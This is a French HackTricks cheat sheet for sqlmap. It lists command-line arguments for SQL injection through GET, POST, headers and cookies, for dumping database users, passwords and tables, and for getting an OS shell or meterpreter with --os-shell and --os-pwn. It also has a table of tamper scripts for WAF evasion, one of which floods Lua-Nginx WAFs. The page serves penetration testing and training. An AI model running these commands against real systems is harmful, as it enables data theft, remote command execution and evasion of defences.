SQLMap

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Arguments de base pour SQLmap

Générique

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Option --technique

L’argument --technique définit quelles méthodes SQL injection sqlmap tentera. Chaque caractère dans la chaîne représente une technique :

LettreTechniqueDescription
BBoolean-based blindUtilise des conditions vrai/faux pour inférer des données
EError-basedTire parti des messages d’erreur verbeux du DBMS pour extraire les résultats
UUNION queryInjecte UNION SELECT statements pour récupérer des données via le même canal
SStacked queriesAjoute des statements supplémentaires séparés par ;
TTime-based blindS’appuie sur des délais (SLEEP, WAITFOR) pour détecter l’injection
QInline / out-of-bandUtilise des fonctions telles que LOAD_FILE() ou des canaux OOB comme DNS

L’ordre par défaut est BEUSTQ. Vous pouvez les réarranger ou les limiter, par exemple uniquement Boolean et Time-based dans cet ordre :

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Récupérer des informations

Interne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Données DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Emplacement d’injection

À partir d’une capture Burp/ZAP

Capturez la requête et créez un fichier req.txt

sqlmap -r req.txt --current-user

Injection de requête GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injection de requête POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections dans les en-têtes et autres méthodes HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Explorer un site web avec SQLmap et auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personnaliser l’injection

Définir un suffixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Préfixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aide pour trouver une injection booléenne

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyRemplace le caractère apostrophe par son équivalent en largeur pleine UTF-8
apostrophenullencode.pyRemplace le caractère apostrophe par son double unicode illégal
appendnullbyte.pyAjoute un octet NULL encodé à la fin du payload
base64encode.pyEncode tous les caractères d’un payload en Base64
between.pyReplaces greater than operator (‘>’) with ‘NOT BETWEEN 0 AND #’
bluecoat.pyRemplace l’espace après une instruction SQL par un caractère blank aléatoire valide. Ensuite remplace le caractère = par l’opérateur LIKE
chardoubleencode.pyDouble-url-encode tous les caractères d’un payload donné (ne traite pas ceux déjà encodés)
commalesslimit.pyRemplace des instances comme ‘LIMIT M, N’ par ‘LIMIT N OFFSET M’
commalessmid.pyRemplace des instances comme ‘MID(A, B, C)’ par ‘MID(A FROM B FOR C)’
concat2concatws.pyRemplace des instances comme ‘CONCAT(A, B)’ par ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyUrl-encode tous les caractères d’un payload donné (ne traite pas ceux déjà encodés)
charunicodeencode.pyUnicode-url-encode les caractères non encodés d’un payload donné (ne traite pas ceux déjà encodés). “%u0022”
charunicodeescape.pyUnicode-url-encode les caractères non encodés d’un payload donné (ne traite pas ceux déjà encodés). “\u0022”
equaltolike.pyRemplace toutes les occurrences de l’opérateur égal (‘=’) par l’opérateur ‘LIKE’
escapequotes.pyÉchappe les quotes avec un slash (’ and “)
greatest.pyReplaces greater than operator (‘>’) with ‘GREATEST’ counterpart
halfversionedmorekeywords.pyAjoute un commentaire MySQL versionné avant chaque mot-clé
ifnull2ifisnull.pyRemplace des instances comme ‘IFNULL(A, B)’ par ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyEncapsule la requête complète avec un commentaire versionné
modsecurityzeroversioned.pyEncapsule la requête complète avec un commentaire versionné à zéro
multiplespaces.pyAjoute plusieurs espaces autour des mots-clés SQL
nonrecursivereplacement.pyRemplace des mots-clés SQL prédéfinis par des représentations adaptées aux filtres de remplacement (e.g. .replace(“SELECT”, “”))
percentage.pyAjoute un signe pourcentage (‘%’) devant chaque caractère
overlongutf8.pyConvertit tous les caractères d’un payload donné (ne traite pas ceux déjà encodés)
randomcase.pyRemplace chaque caractère d’un mot-clé par une casse aléatoire
randomcomments.pyAjoute des commentaires aléatoires aux mots-clés SQL
securesphere.pyAjoute une chaîne spécialement conçue
sp_password.pyAjoute ‘sp_password’ à la fin du payload pour obfuscation automatique dans les logs DBMS
space2comment.pyRemplace le caractère espace (’ ’) par des commentaires
space2dash.pyRemplace le caractère espace (’ ‘) par un commentaire dash (’–‘) suivi d’une chaîne aléatoire et d’un saut de ligne (’\n’)
space2hash.pyRemplace le caractère espace (’ ‘) par un caractère # (’#‘) suivi d’une chaîne aléatoire et d’un saut de ligne (’\n’)
space2morehash.pyRemplace le caractère espace (’ ‘) par un caractère # (’#‘) suivi d’une chaîne aléatoire et d’un saut de ligne (’\n’)
space2mssqlblank.pyRemplace le caractère espace (’ ’) par un caractère blank aléatoire issu d’un ensemble valide de caractères alternatifs
space2mssqlhash.pyRemplace le caractère espace (’ ‘) par un caractère # (’#‘) suivi d’un saut de ligne (’\n’)
space2mysqlblank.pyRemplace le caractère espace (’ ’) par un caractère blank aléatoire issu d’un ensemble valide de caractères alternatifs
space2mysqldash.pyRemplace le caractère espace (’ ‘) par un commentaire dash (’–‘) suivi d’un saut de ligne (’\n’)
space2plus.pyRemplace le caractère espace (’ ‘) par un plus (’+’)
space2randomblank.pyRemplace le caractère espace (’ ’) par un caractère blank aléatoire issu d’un ensemble valide de caractères alternatifs
symboliclogical.pyRemplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& and ||)
unionalltounion.pyRemplace UNION ALL SELECT par UNION SELECT
unmagicquotes.pyRemplace le caractère quote (’) par un combo multi-octet %bf%27 accompagné d’un commentaire générique à la fin (pour que ça marche)
uppercase.pyRemplace chaque caractère de mot-clé par la valeur en majuscule ‘INSERT’
varnish.pyAjoute un en-tête HTTP ‘X-originating-IP’
versionedkeywords.pyEnclot chaque mot-clé non-fonctionnel avec un commentaire MySQL versionné
versionedmorekeywords.pyEnclot chaque mot-clé avec un commentaire MySQL versionné
xforwardedfor.pyAjoute un faux en-tête HTTP ‘X-Forwarded-For’
luanginxmore.pyPOST-only tamper qui préfixe des millions de paramètres factices pour épuiser les parseurs Lua‑Nginx WAF (e.g., Cloudflare).

luanginxmore génère ~4.2M de paramètres POST aléatoires avant votre payload ; utilisez-le seulement avec --method=POST et attendez-vous à ce que de grandes tailles de requête fassent planter des Lua-Nginx WAF mal configurés.

Options récentes à activer (>=1.9.x)

  • HTTP/2 transport: --http2 force sqlmap à utiliser HTTP/2 (utile contre les front-ends qui limitent HTTP/1.1 mais relâchent h2). Combinez avec --force-ssl pour forcer HTTPS.
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 fera tourner une liste de proxies, changeant de proxy toutes les 3 requêtes pour éviter le throttling basé sur l’IP.
  • Offline / purge modes: --offline réutilise les données de session en cache sans toucher la cible (trafic réseau nul), tandis que --purge efface de manière sécurisée le répertoire de session/output quand vous avez fini.
  • Mobile UA emulation: --mobile vous invite à usurper un User-Agent de smartphone populaire, utile sur des APIs qui exposent des champs supplémentaires aux clients mobiles.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks